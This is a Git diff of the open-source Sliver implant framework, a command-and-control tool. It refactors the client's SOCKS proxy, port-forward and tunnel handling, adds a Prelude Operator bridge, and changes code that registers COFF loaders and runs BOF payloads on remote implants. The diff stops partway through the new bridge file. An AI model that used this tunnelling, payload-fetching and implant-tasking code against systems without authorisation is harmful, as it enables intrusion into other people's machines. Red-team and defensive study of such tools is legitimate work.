You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"io"
"log"
"net"
@@ -116,7 +135,7 @@ func (p *ChannelProxy) HandleConn(conn net.Conn) {
}
tunnel, err := p.dialImplant(ctx)
if cancel != nil {
cancel()
defer cancel()
}
if err != nil {
return
@@ -124,8 +143,8 @@ func (p *ChannelProxy) HandleConn(conn net.Conn) {
// Cleanup
defer func() {
go conn.Close()
Tunnels.Close(tunnel.ID)
conn.Close()
GetTunnels().Close(tunnel.ID)
}()
errs := make(chan error, 1)
@@ -172,7 +191,7 @@ func (p *ChannelProxy) Host() string {
return host
}
func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
func (p *ChannelProxy) dialImplant(ctx context.Context) (*TunnelIO, error) {
log.Printf("[tcpproxy] Dialing implant to create tunnel ...")
@@ -184,8 +203,9 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
log.Printf("[tcpproxy] Failed to dial implant %s", err)
return nil, err
}
log.Printf("[tcpproxy] Created new tunnel with id %d (session %s)", rpcTunnel.TunnelID, p.Session.ID)
tunnel := Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
tunnel := GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
log.Printf("[tcpproxy] Binding tunnel to portfwd %d", p.Port())
portfwdResp, err := p.Rpc.Portfwd(ctx, &sliverpb.PortfwdReq{
@@ -200,6 +220,14 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
if err != nil {
return nil, err
}
// Close tunnel in case of error on the implant side
if portfwdResp.Response != nil && portfwdResp.Response.Err != "" {
p.Rpc.CloseTunnel(ctx, &sliverpb.Tunnel{
TunnelID: tunnel.ID,
SessionID: p.Session.ID,
})
return nil, errors.New(portfwdResp.Response.Err)
}
log.Printf("Portfwd response: %v", portfwdResp)
return tunnel, nil
@@ -219,7 +247,7 @@ func (p *ChannelProxy) dialTimeout() time.Duration {
return 30 * time.Second
}
func toImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
func toImplantLoop(conn net.Conn, tunnel *TunnelIO, errs chan<- error) {
if wc, ok := conn.(*tcpproxy.Conn); ok && len(wc.Peeked) > 0 {
if _, err := tunnel.Write(wc.Peeked); err != nil {
errs <- err
@@ -232,7 +260,7 @@ func toImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
errs <- err
}
func fromImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
func fromImplantLoop(conn net.Conn, tunnel *TunnelIO, errs chan<- error) {
n, err := io.Copy(conn, tunnel)
log.Printf("[tcpproxy] Closing from-implant after %d byte(s)", n)
errs <- err
+70 -34
View File
@@ -20,11 +20,10 @@ package core
import (
"context"
"fmt"
"io"
"log"
"net"
"sync"
"sync/atomic"
"time"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -37,16 +36,16 @@ import (
var (
// SocksProxies - Struct instance that holds all the portfwds
SocksProxies = socksProxy{
tcpProxies: map[int]*SocksProxy{},
tcpProxies: map[uint64]*SocksProxy{},
mutex: &sync.RWMutex{},
}
SocksConnPool = sync.Map{}
SocksProxyID = 0
SocksProxyID = (uint64)(0)
)
// PortfwdMeta - Metadata about a portfwd listener
type SocksProxyMeta struct {
ID int
ID uint64
SessionID string
BindAddr string
Username string
@@ -60,14 +59,28 @@ type TcpProxy struct {
Password string
BindAddr string
Listener net.Listener
stopChan bool
KeepAlivePeriod time.Duration
DialTimeout time.Duration
}
func (tcp *TcpProxy) Stop() error {
err := tcp.Listener.Close()
// Closing all connections in pool
SocksConnPool.Range(func(key, value interface{}) bool {
con := value.(net.Conn)
con.Close()
return err == nil
})
return err
}
// SocksProxy - Tracks portfwd<->tcpproxy
type SocksProxy struct {
ID int
ID uint64
ChannelProxy *TcpProxy
}
@@ -83,7 +96,7 @@ func (p *SocksProxy) GetMetadata() *SocksProxyMeta {
}
type socksProxy struct {
tcpProxies map[int]*SocksProxy
tcpProxies map[uint64]*SocksProxy
mutex *sync.RWMutex
}
@@ -91,6 +104,7 @@ type socksProxy struct {
func (f *socksProxy) Add(tcpProxy *TcpProxy) *SocksProxy {
f.mutex.Lock()
defer f.mutex.Unlock()
Sockser := &SocksProxy{
ID: nextSocksProxyID(),
ChannelProxy: tcpProxy,
@@ -101,49 +115,56 @@ func (f *socksProxy) Add(tcpProxy *TcpProxy) *SocksProxy {
}
func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
proxy, err := tcpProxy.Rpc.SocksProxy(context.Background())
ctx, cancel := context.WithCancel(context.Background())
proxy, err := tcpProxy.Rpc.SocksProxy(ctx)
defer cancel()
if err != nil {
return err
}
go func() {
for !tcpProxy.stopChan {
for {
FromImplantSequence := 0
p, err := proxy.Recv()
socksData, err := proxy.Recv()
if err != nil {
log.Printf("Failed to Recv from proxy, %s\n", err)
return
}
if v, ok := SocksConnPool.Load(p.TunnelID); ok {
n := v.(net.Conn)
if p.CloseConn {
n.Close()
SocksConnPool.Delete(p.TunnelID)
if v, ok := SocksConnPool.Load(socksData.TunnelID); ok {
conn := v.(net.Conn)
if socksData.CloseConn {
conn.Close()
SocksConnPool.Delete(socksData.TunnelID)
continue
}
log.Printf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(p.Data))
log.Printf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(socksData.Data))
//fmt.Printf("recv data len %d \n", len(p.Data))
_, err := n.Write(p.Data)
_, err := conn.Write(socksData.Data)
if err != nil {
log.Printf("Failed to write data to proxy connection, %s\n", err)
continue
}
FromImplantSequence++
}
}
}()
for !tcpProxy.stopChan {
l, err := tcpProxy.Listener.Accept()
for {
connection, err := tcpProxy.Listener.Accept()
if err != nil {
return err
log.Printf("Failed to accept new listener, probably already closed: %s\n", err)
break
}
rpcSocks, err := tcpProxy.Rpc.CreateSocks(context.Background(), &sliverpb.Socks{
SessionID: tcpProxy.Session.ID,
})
if err != nil {
fmt.Println(err)
return err
log.Printf("Failed rcp call to create socks %s\n", err)
break
}
go connect(l, proxy, &sliverpb.SocksData{
go connect(connection, proxy, &sliverpb.SocksData{
Username: tcpProxy.Username,
Password: tcpProxy.Password,
TunnelID: rpcSocks.TunnelID,
@@ -151,17 +172,18 @@ func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
})
}
log.Printf("Socks Stop -> %s\n", tcpProxy.BindAddr)
tcpProxy.Listener.Close()
tcpProxy.Stop() // well, at this moment we already in stop state, but anyway
proxy.CloseSend()
return nil
}
// Remove - Remove a TCP proxy instance
func (f *socksProxy) Remove(socksId int) bool {
func (f *socksProxy) Remove(socksId uint64) bool {
f.mutex.Lock()
defer f.mutex.Unlock()
if _, ok := f.tcpProxies[socksId]; ok {
f.tcpProxies[socksId].ChannelProxy.stopChan = true
f.tcpProxies[socksId].ChannelProxy.Stop()
delete(f.tcpProxies, socksId)
return true
}
@@ -179,9 +201,8 @@ func (f *socksProxy) List() []*SocksProxyMeta {
return socksProxy
}
func nextSocksProxyID() int {
SocksProxyID++
return SocksProxyID
func nextSocksProxyID() uint64 {
return atomic.AddUint64(&SocksProxyID, 1)
}
const leakyBufSize = 4108 // data.len(2) + hmacsha1(10) + data(4096)
@@ -192,6 +213,19 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
SocksConnPool.Store(frame.TunnelID, conn)
defer func() {
// It's neccessary to close and remove connection once we done with it
c, ok := SocksConnPool.LoadAndDelete(frame.TunnelID)
if !ok {
return
}
conn := c.(net.Conn)
conn.Close()
log.Printf("[socks] connection closed")
}()
log.Printf("tcp conn %q<--><-->%q \n", conn.LocalAddr(), conn.RemoteAddr())
buff := leakyBuf.Get()
@@ -199,11 +233,12 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
var ToImplantSequence uint64 = 0
for {
n, err := conn.Read(buff)
if err != nil {
if err == io.EOF {
return
}
continue
log.Printf("[socks] (User to Client) failed to read data, %s ", err)
// Error basically means that the connection is closed(EOF) OR deadline exceeded
// In any of that cases, it's better to just giveup
return
}
if n > 0 {
frame.Data = buff[:n]
@@ -211,6 +246,7 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
log.Printf("[socks] (User to Client) to Server to agent Data Sequence %d , Data Size %d \n", ToImplantSequence, len(frame.Data))
err := stream.Send(frame)
if err != nil {
log.Printf("[socks] (User to Client) failed to send data, %s ", err)
return
}
ToImplantSequence++
+44 -112
View File
@@ -1,130 +1,54 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"io"
"log"
"sync"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var (
// Tunnels - Holds refs to all tunnels
Tunnels tunnels
)
// Holds the tunnels locally so we can map incoming data
// messages to the tunnel
type tunnels struct {
tunnels *map[uint64]*Tunnel
mutex *sync.RWMutex
stream rpcpb.SliverRPC_TunnelDataClient
}
// Get - Get a tunnel
func (t *tunnels) Get(tunnelID uint64) *Tunnel {
t.mutex.RLock()
defer t.mutex.RUnlock()
return (*t.tunnels)[tunnelID]
}
// Start - Add a tunnel to the core mapper
func (t *tunnels) Start(tunnelID uint64, sessionID string) *Tunnel {
t.mutex.Lock()
defer t.mutex.Unlock()
tunnel := &Tunnel{
ID: tunnelID,
SessionID: sessionID,
Send: make(chan []byte),
Recv: make(chan []byte),
}
(*t.tunnels)[tunnelID] = tunnel
go func() {
tunnel.IsOpen = true
for data := range tunnel.Send {
log.Printf("Send %d bytes on tunnel %d", len(data), tunnel.ID)
t.stream.Send(&sliverpb.TunnelData{
TunnelID: tunnel.ID,
SessionID: tunnel.SessionID,
Data: data,
})
}
}()
tunnel.Send <- make([]byte, 0) // Send "zero" message to bind client to tunnel
return tunnel
}
// Close - Close the tunnel channels
func (t *tunnels) Close(tunnelID uint64) {
log.Printf("Closing tunnel %d", tunnelID)
t.mutex.Lock()
defer t.mutex.Unlock()
tunnel := (*t.tunnels)[tunnelID]
if tunnel != nil {
delete((*t.tunnels), tunnelID)
tunnel.IsOpen = false
close(tunnel.Recv)
close(tunnel.Send)
}
}
// Tunnel - Duplex data tunnel
type Tunnel struct {
ID uint64
IsOpen bool
SessionID string
Send chan []byte
Recv chan []byte
}
// Write - Writer method for interface
func (tun *Tunnel) Write(data []byte) (int, error) {
log.Printf("Write %d bytes", len(data))
if !tun.IsOpen {
return 0, io.EOF
}
tun.Send <- data
n := len(data)
return n, nil
}
// Read - Reader method for interface
func (tun *Tunnel) Read(data []byte) (int, error) {
var buff bytes.Buffer
if !tun.IsOpen {
log.Printf("Warning: Read on closed tunnel %d", tun.ID)
return 0, io.EOF
}
recvData := <-tun.Recv
log.Printf("Read %d bytes", len(recvData))
buff.Write(recvData)
n := copy(data, buff.Bytes())
return n, nil
}
// TunnelLoop - Parses incoming tunnel messages and distributes them
// to session/tunnel objects
// Expected to be called only once during initialization
func TunnelLoop(rpc rpcpb.SliverRPCClient) error {
log.Println("Starting tunnel data loop ...")
defer log.Printf("Warning: TunnelLoop exited")
stream, err := rpc.TunnelData(context.Background())
ctx, cancel := context.WithCancel(context.Background())
stream, err := rpc.TunnelData(ctx)
defer cancel()
if err != nil {
return err
}
Tunnels = tunnels{
tunnels: &map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
stream: stream,
}
for {
// log.Printf("Waiting for TunnelData ...")
GetTunnels().SetStream(stream)
for {
log.Printf("Waiting for TunnelData ...")
incoming, err := stream.Recv()
// log.Printf("Recv stream msg: %v", incoming)
log.Printf("Recv stream msg: %v", incoming)
log.Printf("Recv stream err: %s", err)
if err == io.EOF {
log.Printf("EOF Error: Tunnel data stream closed")
return nil
@@ -133,16 +57,24 @@ func TunnelLoop(rpc rpcpb.SliverRPCClient) error {
log.Printf("Tunnel data read error: %s", err)
return err
}
// log.Printf("Received TunnelData for tunnel %d", incoming.TunnelID)
tunnel := Tunnels.Get(incoming.TunnelID)
log.Printf("Received TunnelData for tunnel %d", incoming.TunnelID)
tunnel := GetTunnels().Get(incoming.TunnelID)
if tunnel != nil {
data := incoming.GetData()
log.Printf("This is data on tunnel %d: %s", tunnel.ID, data)
if !incoming.Closed {
log.Printf("Received data on tunnel %d", tunnel.ID)
tunnel.Recv <- incoming.GetData()
err = tunnel.RecvData(data)
if err != nil {
log.Printf("Warning! Error sending data to tunnel %d, %v", tunnel.ID, err)
}
} else {
log.Printf("Closing tunnel %d", tunnel.ID)
tunnel.IsOpen = false
close(tunnel.Recv)
GetTunnels().Close(tunnel.ID)
}
} else {
log.Printf("Received tunnel data for non-existent tunnel id %d", incoming.TunnelID)
+146
View File
@@ -0,0 +1,146 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"errors"
"io"
"log"
"sync"
)
// TunnelIO - Duplex data tunnel, compatible with both io.ReadWriter
type TunnelIO struct {
ID uint64
SessionID string
Send chan []byte
Recv chan []byte
isOpen bool
mutex *sync.RWMutex
}
// NewTunnelIO - Single entry point for creating instance of new TunnelIO
func NewTunnelIO(tunnelID uint64, sessionID string) *TunnelIO {
log.Printf("New tunnel!: %d", tunnelID)
return &TunnelIO{
ID: tunnelID,
SessionID: sessionID,
Send: make(chan []byte),
Recv: make(chan []byte),
isOpen: false,
mutex: &sync.RWMutex{},
}
}
// Write - Writer method for interface
func (tun *TunnelIO) Write(data []byte) (int, error) {
if !tun.IsOpen() {
log.Printf("Warning: Write on closed tunnel %d", tun.ID)
return 0, io.EOF
}
// This is necessary to avoid any race conditions on thay byte array
dataCopy := make([]byte, len(data))
n := copy(dataCopy, data)
log.Printf("Write %d bytes", n)
log.Printf("This bytes is: %s", dataCopy)
tun.Send <- dataCopy
return n, nil
}
// Read - Reader method for interface
func (tun *TunnelIO) Read(data []byte) (int, error) {
recvData, ok := <-tun.Recv
if !ok {
log.Printf("Warning: Read on closed tunnel %d", tun.ID)
return 0, io.EOF
}
var buff bytes.Buffer
log.Printf("Read %d bytes", len(recvData))
buff.Write(recvData)
n := copy(data, buff.Bytes())
return n, nil
}
// Close - Close tunnel IO operations
func (tun *TunnelIO) Close() error {
tun.mutex.Lock()
defer tun.mutex.Unlock()
if !tun.isOpen {
log.Printf("Warning: Close on closed tunnel %d", tun.ID)
// I guess we can ignore it and don't return any error
return nil
}
log.Printf("Close tunnel %d", tun.ID)
tun.isOpen = false
close(tun.Recv)
close(tun.Send)
return nil
}
func (tun *TunnelIO) IsOpen() bool {
tun.mutex.RLock()
defer tun.mutex.RUnlock()
return tun.isOpen
}
func (tun *TunnelIO) Open() error {
tun.mutex.Lock()
defer tun.mutex.Unlock()
if tun.isOpen {
return errors.New("tunnel relady in open state")
}
log.Printf("Open tunnel %d", tun.ID)
tun.isOpen = true
return nil
}
// RecvData - safe way to send data to internal Recv channel. Blocking.
func (tun *TunnelIO) RecvData(data []byte) error {
tun.mutex.Lock()
defer tun.mutex.Unlock()
if !tun.isOpen {
return errors.New("closed tunnel")
}
tun.Recv <- data
return nil
}
+162
View File
@@ -0,0 +1,162 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"log"
"sync"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var (
// tunnelsStorage - Holds refs to all tunnels
tunnelsStorage *tunnels
tunnelsSingletonLock = &sync.Mutex{}
)
// GetTunnels - singleton function that returns or initializes all tunnels
func GetTunnels() *tunnels {
tunnelsSingletonLock.Lock()
defer tunnelsSingletonLock.Unlock()
if tunnelsStorage == nil {
log.Println("Creating single instance of tunnels.")
tunnelsStorage = &tunnels{
tunnels: &map[uint64]*TunnelIO{},
mutex: &sync.RWMutex{},
streamMutex: &sync.Mutex{},
}
}
return tunnelsStorage
}
// Holds the tunnels locally so we can map incoming data
// messages to the tunnel
type tunnels struct {
tunnels *map[uint64]*TunnelIO
mutex *sync.RWMutex
streamMutex *sync.Mutex
stream rpcpb.SliverRPC_TunnelDataClient
}
func (t *tunnels) SetStream(stream rpcpb.SliverRPC_TunnelDataClient) {
t.streamMutex.Lock()
defer t.streamMutex.Unlock()
log.Printf("Set stream")
t.stream = stream
}
// Get - Get a tunnel
func (t *tunnels) Get(tunnelID uint64) *TunnelIO {
t.mutex.RLock()
defer t.mutex.RUnlock()
log.Printf("Get tunnel %d", tunnelID)
return (*t.tunnels)[tunnelID]
}
// send - safe way to send a message to the stream
// protobuf stream allow only one writer at a time, so just in case there is a mutex for it
func (t *tunnels) send(tunnelData *sliverpb.TunnelData) error {
t.streamMutex.Lock()
defer t.streamMutex.Unlock()
if t.stream == nil {
return errors.New("uninitizlied stream")
}
log.Printf("Private send to stream, tunnelId: %d", tunnelData.TunnelID)
return t.stream.Send(tunnelData)
}
// Start - Add a tunnel to the core mapper
func (t *tunnels) Start(tunnelID uint64, sessionID string) *TunnelIO {
t.mutex.Lock()
defer t.mutex.Unlock()
tunnel := NewTunnelIO(tunnelID, sessionID)
(*t.tunnels)[tunnelID] = tunnel
go func(tunnel *TunnelIO) {
tunnel.Open()
log.Printf("Tunnel now is open, %d", tunnelID)
for data := range tunnel.Send {
log.Printf("Send %d bytes on tunnel %d", len(data), tunnel.ID)
err := t.send(&sliverpb.TunnelData{
TunnelID: tunnel.ID,
SessionID: tunnel.SessionID,
Data: data,
})
if err != nil {
log.Printf("Error sending, %s", err)
}
}
log.Printf("Tunnel Send channel looks closed now. %d", tunnelID)
}(tunnel)
tunnel.Send <- make([]byte, 0) // Send "zero" message to bind client to tunnel
return tunnel
}
// Close - Close the tunnel channels
func (t *tunnels) Close(tunnelID uint64) {
t.mutex.Lock()
defer t.mutex.Unlock()
log.Printf("Closing tunnel %d", tunnelID)
tunnel := (*t.tunnels)[tunnelID]
if tunnel != nil {
tunnel.Close()
delete((*t.tunnels), tunnelID)
}
}
// CloseForSession - closing all tunnels for specified session id
func (t *tunnels) CloseForSession(sessionID string) {
t.mutex.RLock()
defer t.mutex.RUnlock()
log.Printf("Closing all tunnels for session %s", sessionID)
for tunnelID, tunnel := range *t.tunnels {
if tunnel.SessionID == sessionID {
// Weird way to avoid deadlocks but let it be
go func(tunnelID uint64) {
GetTunnels().Close(tunnelID)
}(tunnelID)
}
}
}
+24
View File
@@ -85,6 +85,30 @@ POSSIBILITY OF SUCH DAMAGE.
======================================================================================================
MIT License
Copyright (c) 2019 Ege Balcı
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
======================================================================================================
BSD 3-Clause License
Copyright (c) 2018, b4rtik
-166
View File
@@ -1,166 +0,0 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bufio"
"bytes"
"context"
"encoding/json"
"fmt"
"io"
"io/ioutil"
"net"
"net/http"
"strings"
"time"
"github.com/bishopfox/sliver/client/prelude/util"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
const (
defaultTimeout = 60
delim = "\r\n"
)
type AgentSession struct {
Conn *net.Conn
Session *clientpb.Session
RPC rpcpb.SliverRPCClient
Beacon Beacon
Config AgentConfig
}
func NewAgentSession(c *net.Conn, s *clientpb.Session, rpc rpcpb.SliverRPCClient, b Beacon, conf AgentConfig) *AgentSession {
return &AgentSession{
Conn: c,
Session: s,
RPC: rpc,
Config: conf,
Beacon: b,
}
}
func (a *AgentSession) ReceiveLoop() {
for {
err := a.send()
if err != nil {
return
}
scanner := bufio.NewScanner(*a.Conn)
for scanner.Scan() {
message := strings.TrimSpace(scanner.Text())
err = a.respond(message)
if err != nil {
return
}
}
}
}
func (a *AgentSession) send() error {
data, err := json.Marshal(a.Beacon)
if err != nil {
return err
}
dataBuff := bytes.NewReader(append(util.Encrypt(data), "\n"...))
sendBuffer := make([]byte, 1024)
for {
_, err := dataBuff.Read(sendBuffer)
if err == io.EOF {
return nil
}
if err != nil {
return err
}
if _, err = (*a.Conn).Write(sendBuffer); err != nil {
return err
}
time.Sleep(time.Duration(a.Beacon.Sleep))
}
}
func (a *AgentSession) respond(message string) error {
var tempBeacon Beacon
if err := json.Unmarshal([]byte(util.Decrypt(message)), &tempBeacon); err == nil {
a.Beacon.Links = a.Beacon.Links[:0]
a.runLinks(&tempBeacon)
}
a.refreshBeacon(&a.Config)
a.send()
return nil
}
func (a *AgentSession) runLinks(tempBeacon *Beacon) {
for _, link := range a.Config.StartInstructions(tempBeacon.Links) {
time.Sleep(time.Second * 1)
var payload []byte
if link.Payload != "" {
payload, _ = requestPayload(link.Payload)
}
response, status, pid := RunCommand(link.Request, link.Executor, payload, a)
link.Response = response
link.Status = status
link.Pid = pid
a.Beacon.Links = append(a.Beacon.Links, link)
a.Config.EndInstruction(link)
}
}
func requestPayload(target string) ([]byte, error) {
resp, err := http.Get(target)
if err != nil {
return nil, err
}
if resp.StatusCode != 200 {
return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
}
return ioutil.ReadAll(resp.Body)
}
func (a *AgentSession) refreshBeacon(conf *AgentConfig) {
var pwd string
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(a.Session),
})
if pwdResp != nil {
pwd = pwdResp.Path
}
a.Beacon.Sleep = conf.Sleep
a.Beacon.Range = conf.Range
a.Beacon.Pwd = pwd
a.Beacon.Target = conf.Address
a.Beacon.Executing = conf.BuildExecutingHash()
}
func MakeRequest(session *clientpb.Session) *commonpb.Request {
if session == nil {
return nil
}
timeout := int64(defaultTimeout)
return &commonpb.Request{
SessionID: session.ID,
Timeout: timeout,
}
}
+37 -12
View File
@@ -1,5 +1,23 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
@@ -9,7 +27,6 @@ import (
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
@@ -25,9 +42,9 @@ type bofArgs struct {
Value interface{} `json:"value"`
}
func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs) (output string, err error) {
if !isLoaderLoaded(session, rpc) {
err = registerLoader(session, rpc)
func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs, onFinishCallback func(string, int, int)) (output string, err error) {
if !isLoaderLoaded(implant, rpc) {
err = registerLoader(implant, rpc)
if err != nil {
return
}
@@ -37,6 +54,8 @@ func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, ar
}
for _, a := range args {
switch a.ArgType {
case "integer":
fallthrough
case "int":
if v, ok := a.Value.(float64); ok {
err = bofArgs.AddInt(uint32(v))
@@ -89,13 +108,19 @@ func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, ar
ServerStore: false,
Args: extArgsBuffer,
Export: loaderEntryPoint,
Request: MakeRequest(session),
Request: MakeRequest(implant),
})
if err != nil {
return
}
// If Async req, onFinishCallback won't be nil
if onFinishCallback != nil {
onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
return
}
if extResp.Response != nil && extResp.Response.Err != "" {
err = errors.New(extResp.Response.Err)
}
@@ -104,16 +129,16 @@ func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, ar
return
}
func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error {
func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
var coffLoaderPath string
switch session.Arch {
switch implant.GetArch() {
case "amd64":
coffLoaderPath = "COFFLoader.x64.dll"
case "386":
coffLoaderPath = "COFFLoader.x86.dll"
}
loaderPath := path.Join(assets.GetExtensionsDir(), "windows", session.Arch, coffLoaderPath)
loaderPath := path.Join(assets.GetExtensionsDir(), coffLoaderName, coffLoaderPath)
loaderData, err := ioutil.ReadFile(loaderPath)
if err != nil {
return err
@@ -121,9 +146,9 @@ func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error
resp, err := rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: coffLoaderName,
Data: loaderData,
OS: session.OS,
OS: implant.GetOS(),
Init: "",
Request: MakeRequest(session),
Request: MakeRequest(implant),
})
if err != nil {
return err
@@ -134,9 +159,9 @@ func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error
return nil
}
func isLoaderLoaded(session *clientpb.Session, rpc rpcpb.SliverRPCClient) bool {
func isLoaderLoaded(implant ActiveImplant, rpc rpcpb.SliverRPCClient) bool {
extList, err := rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: MakeRequest(session),
Request: MakeRequest(implant),
})
if err != nil {
return false
+206
View File
@@ -0,0 +1,206 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bufio"
"context"
"encoding/hex"
"encoding/json"
"fmt"
"io/ioutil"
"net"
"net/http"
"strings"
"time"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
)
const (
defaultTimeout = 60
delim = "\r\n"
)
// OperatorImplantBridge maps the Sliver implants (whether it be a beacon or a session)
// to a Prelude Operator implant with a TCP transport.
type OperatorImplantBridge struct {
Conn *net.Conn
Implant ActiveImplant
RPC rpcpb.SliverRPCClient
PBeacon OperatorBeacon
BeaconCallback func(string, func(*clientpb.BeaconTask))
Config AgentConfig
recv chan []byte
send chan []byte
}
func NewImplantBridge(c *net.Conn, a ActiveImplant, rpc rpcpb.SliverRPCClient, pbeacon OperatorBeacon, conf AgentConfig, callback func(string, func(*clientpb.BeaconTask))) *OperatorImplantBridge {
return &OperatorImplantBridge{
Conn: c,
Implant: a,
RPC: rpc,
Config: conf,
BeaconCallback: callback,
